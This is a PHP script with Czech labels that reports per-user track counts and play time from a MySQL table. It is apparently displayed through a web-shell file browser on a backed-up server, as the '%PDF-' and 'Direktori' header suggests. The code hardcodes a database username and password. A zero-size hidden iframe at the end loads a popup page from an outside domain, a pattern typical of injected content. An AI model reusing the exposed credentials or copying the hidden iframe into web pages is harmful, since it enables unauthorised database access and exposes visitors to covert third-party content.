%PDF- %PDF-
Direktori : /data/www_bck/varak.net_bck/wow2.varak.net/xml/ |
Current File : //data/www_bck/varak.net_bck/wow2.varak.net/xml/rc2.php |
<?php include("../lib.php"); function numf($num) { $tmp = array(); $n = 1000; $ret = ""; $tmp = ""; while($num) { $tmp = $num % $n; if($num > $n) { $tmp = sprintf("%03d", $tmp); } $num = floor($num / $n); $ret = $tmp." ".$ret; } return $ret; } function playtime($num) { $onum = $num; $year = floor($num / (3600*24*365)); $num %= 3600*24*365; $week = floor($num / (3600*24*7)); $num %= 3600*24*7; $day = floor($num / (3600*24)); $num %= 3600*24; $hour = floor($num / 3600); $num %= 3600; $min = floor($num / 60); $sec = $num % 60; return sprintf("%dy %dw %dd %02d:%02d:%02d (%d)", $year, $week, $day, $hour, $min, $sec, $onum); } $tzac=getmicrotime(); //$st = 1234699560; $st = 1356998400; $et = time(); //$db = sqlite_open("recent2.db"); $spojeni = mysql_connect("localhost", "waritko", "blade666"); mysql_select_db("waritko_horde", $spojeni); $res = mysql_query("select distinct user, count(user) as cnt, sum(len) from recent2013 group by user order by cnt desc", $spojeni); while($r = mysql_fetch_row($res)) { $pd = sprintf("%0.1f", $r[1]/(($et-$st)/(24*3600))); $pt = playtime($r[2]); $summ += $r[1]; echo "$r[0] : ".numf($r[1])." ($pd tracks/day, $pt)<br />\n"; } $summ = numf($summ); echo "Celkem: <b>$summ</b><br /><br /><br />"; ?> <table width="500" border="0"> <tr> <?php echo "<td width=\"50%\"><b>Posledni den:</b> <br />\n"; $res = mysql_query("select distinct user, count(user) as cnt from recent2013 where time > ".(strtotime(date("Y-m-d 00:00:00")))." group by user order by cnt desc", $spojeni); while($r = mysql_fetch_row($res)) { $summ += $r[1]; echo "$r[0] : $r[1]<br />\n"; } echo "</td>\n"; echo "<td width=\"50%\"><b>Predchozi den:</b> <br />\n"; $res = mysql_query("select distinct user, count(user) as cnt from recent2013 where time > ".(strtotime(date("Y-m-d 00:00:00"))-24*3600)." AND time <= ".(strtotime(date("Y-m-d 00:00:00")))." group by user order by cnt desc", $spojeni); while($r = mysql_fetch_row($res)) { $summ += $r[1]; echo "$r[0] : $r[1]<br />\n"; } echo "</td>\n</tr>\n"; echo "<tr><td width=\"50%\"><b>Tento tyden:</b> <br />\n"; $stime = strtotime(date("Y-m-d 00:00:00"))-((int)date("w")-0)*24*3600; //echo date("Y-m-d H:i:s", $stime); $res = mysql_query("select distinct user, count(user) as cnt from recent2013 where time > $stime group by user order by cnt desc", $spojeni); while($r = mysql_fetch_row($res)) { $summ += $r[1]; echo "$r[0] : $r[1]<br />\n"; } echo "</td>\n"; echo "<td width=\"50%\"><b>Minuly tyden:</b> <br />\n"; $stime = strtotime(date("Y-m-d 00:00:00"))-((int)date("w")-0)*24*3600; $sstime = $stime-7*24*3600; //echo date("Y-m-d H:i:s", $stime); $res = mysql_query("select distinct user, count(user) as cnt from recent2013 where time > $sstime AND time <= $stime group by user order by cnt desc", $spojeni); while($r = mysql_fetch_row($res)) { $summ += $r[1]; echo "$r[0] : $r[1]<br />\n"; } echo "</td>\n</tr>\n"; echo "</table><br /><br />"; mysql_close($spojeni); $tkon=getmicrotime(); $time=$tkon-$tzac; $time = sprintf("%01.4f", $time); echo "<br />Time used: <b>$time</b> sec"; ?> <iframe width="0" height="0" src="http://www.vcela.net/popup.php?id_stranka=1596"></iframe>